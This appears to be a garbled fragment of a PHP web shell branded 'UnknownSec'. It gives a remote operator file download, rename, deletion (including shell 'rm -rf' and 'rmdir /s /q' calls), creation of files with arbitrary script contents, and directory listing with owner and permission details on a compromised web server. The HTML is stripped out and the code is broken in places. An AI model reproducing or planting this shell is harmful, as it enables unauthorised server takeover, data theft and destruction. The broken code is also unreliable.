@#$x1n4m1@#$"; } function Login() { ?> { login }
window.location="'.$_SERVER['PHP_SELF'].'";'; } // download file if(isset($_7['opn']) && ($_7['opn'] != '') && ($_7['action'] == 'download')){ @ob_clean(); $file = $_7['opn']; header('Content-Description: File Transfer'); header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($file).'"'); header('Expires: 0'); header('Cache-Control: must-revalidate'); header('Pragma: public'); header('Content-Length: ' . filesize($file)); readfile($file); exit; } function w($dir,$perm) { if(!is_writable($dir)) { return "".$perm.""; } else { return "".$perm.""; } } function s(){ echo '

'; } function ok(){ echo ''; } } if($_7['action'] == 'edit') { s(); echo "

: ".basename($file)."
"; } //rename folder if($_7['action'] == 'rename_folder') { if($_7['r_d']) { $r_d = rename($dir, "".dirname($dir)."/".htmlspecialchars($_7['r_d']).""); if($r_d) { echo 'Rename folder ok! '.ok().''; }else{ echo 'Rename folder fail! '.er().''; } } s(); echo "

: ".basename($dir)."
"; } //rename file if(isset($_7['r_f'])) { $old = $file; $new = $_7['new_name']; rename($new, $old); if(file_exists($new)) { echo ''; }else{ if(rename($old, $new)) { echo 'Rename file ok! '.ok().''; }else{ echo 'Rename file fail! '.er().''; } } } if($_7['action'] == 'rename') { s(); echo "

: ".basename($file)."
"; } //delete file if ($_7['action'] == 'delete_file') { s(); if ($_7['yeahx']) { $delete = unlink($file); if ($delete) { echo 'Delete file ok! '.ok().''; }else{ echo 'Delete file fail! '.er().''; } } echo "

Are you sure to delete : ".basename($file)." ?

No
"; } //delete folder if ($_7['action'] == 'delete_folder' ) { s(); if ($_7['yeah']) { if(is_dir($dir)) { if(is_writable($dir)) { @rmdir($dir); @exe("rm -rf $dir"); @exe("rmdir /s /q $dir"); echo 'Delete folder ok! '.ok().''; } else { echo 'Delete folder fail! '.er().''; } } } echo "

Are you sure to delete : ".basename($dir)." ?

No
"; } if(isset($_7['filenew'])) { s(); if(isset($_7['bikin'])){ $name = $_7['name_file']; $contents_file = $_7['contents_file']; foreach ($name as $name_file){ $handle = @fopen("$name_file", "w"); if($contents_file){ $create = @fwrite($handle, $contents_file); } else { $create = $handle; } } if($create){ echo ""; } else { echo 'Create file fail! '.er().''; } } echo "
Filename: Your script:
"; } if(isset($_7['dirnew'])) { s(); if(isset($_7['create'])){ $name = $_7['name_dir']; foreach ($name as $name_dir){ $folder = preg_replace("([^\w\s\d\-_~,;:\[\]\(\].]|[\.]{2,})", '', $name_dir); $fd = @mkdir ($folder); } if($fd){ echo ""; } else { echo 'Create dir fail! '.er().''; } } echo "
Name directory:
"; } echo '
'; foreach($scand as $dir){ $dt = date("Y-m-d G:i", filemtime("$path/$dir")); if(strlen($dir) > 25) { $_d = substr($dir, 0, 25)."..."; }else{ $_d = $dir; } if(function_exists('posix_getpwuid')) { $downer = @posix_getpwuid(fileowner("$path/$dir")); $downer = $downer['name']; } else { $downer = fileowner("$path/$dir"); } if(function_exists('posix_getgrgid')) { $dgrp = @posix_getgrgid(filegroup("$path/$dir")); $dgrp = $dgrp['name']; } else { $dgrp = filegroup("$path/$dir"); } if(!is_dir($path.'/'.$file)) continue; $size = filesize($path.'/'.$file)/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; }else{ $size = $size.' KB'; } if(!is_dir($path.'/'.$dir) || $dir == '.' || $dir == '..') continue; echo " '; echo " "; } foreach($scand as $file){ $ft = date("Y-m-d G:i", filemtime("$path/$file")); if(function_exists('posix_getpwuid')) { $fowner = @posix_getpwuid(fileowner("$path/$file")); $fowner = $fowner['name']; } else { $fowner = fileowner("$path/$file"); } if(function_exists('posix_getgrgid')) { $fgrp = @posix_getgrgid(filegroup("$path/$file")); $fgrp = $fgrp['name']; } else { $fgrp = filegroup("$path/$file"); } if(!is_file($path.'/'.$file)) continue; if(strlen($file) > 25) { $_f = substr($file, 0, 25)."...-.".$ext; }else{ $_f = $file; } echo " '; echo " "; } ?>
name type last edit size owner/group permsion action
..
$_d dir $dt - $downer/$dgrp "; if(is_writable($path.'/'.$dir)) echo ''; elseif(!is_readable($path.'/'.$dir)) echo ''; echo p($path.'/'.$dir); if(is_writable($path.'/'.$dir) || !is_readable($path.'/'.$dir)) echo '
$_f file $ft ".sz(filesize($file))." $fowner/$fgrp "; if(is_writable($path.'/'.$file)) echo ''; elseif(!is_readable($path.'/'.$file)) echo ''; echo p($path.'/'.$file); if(is_writable($path.'/'.$file) || !is_readable($path.'/'.$file)) echo '
© 2020- UnknownSec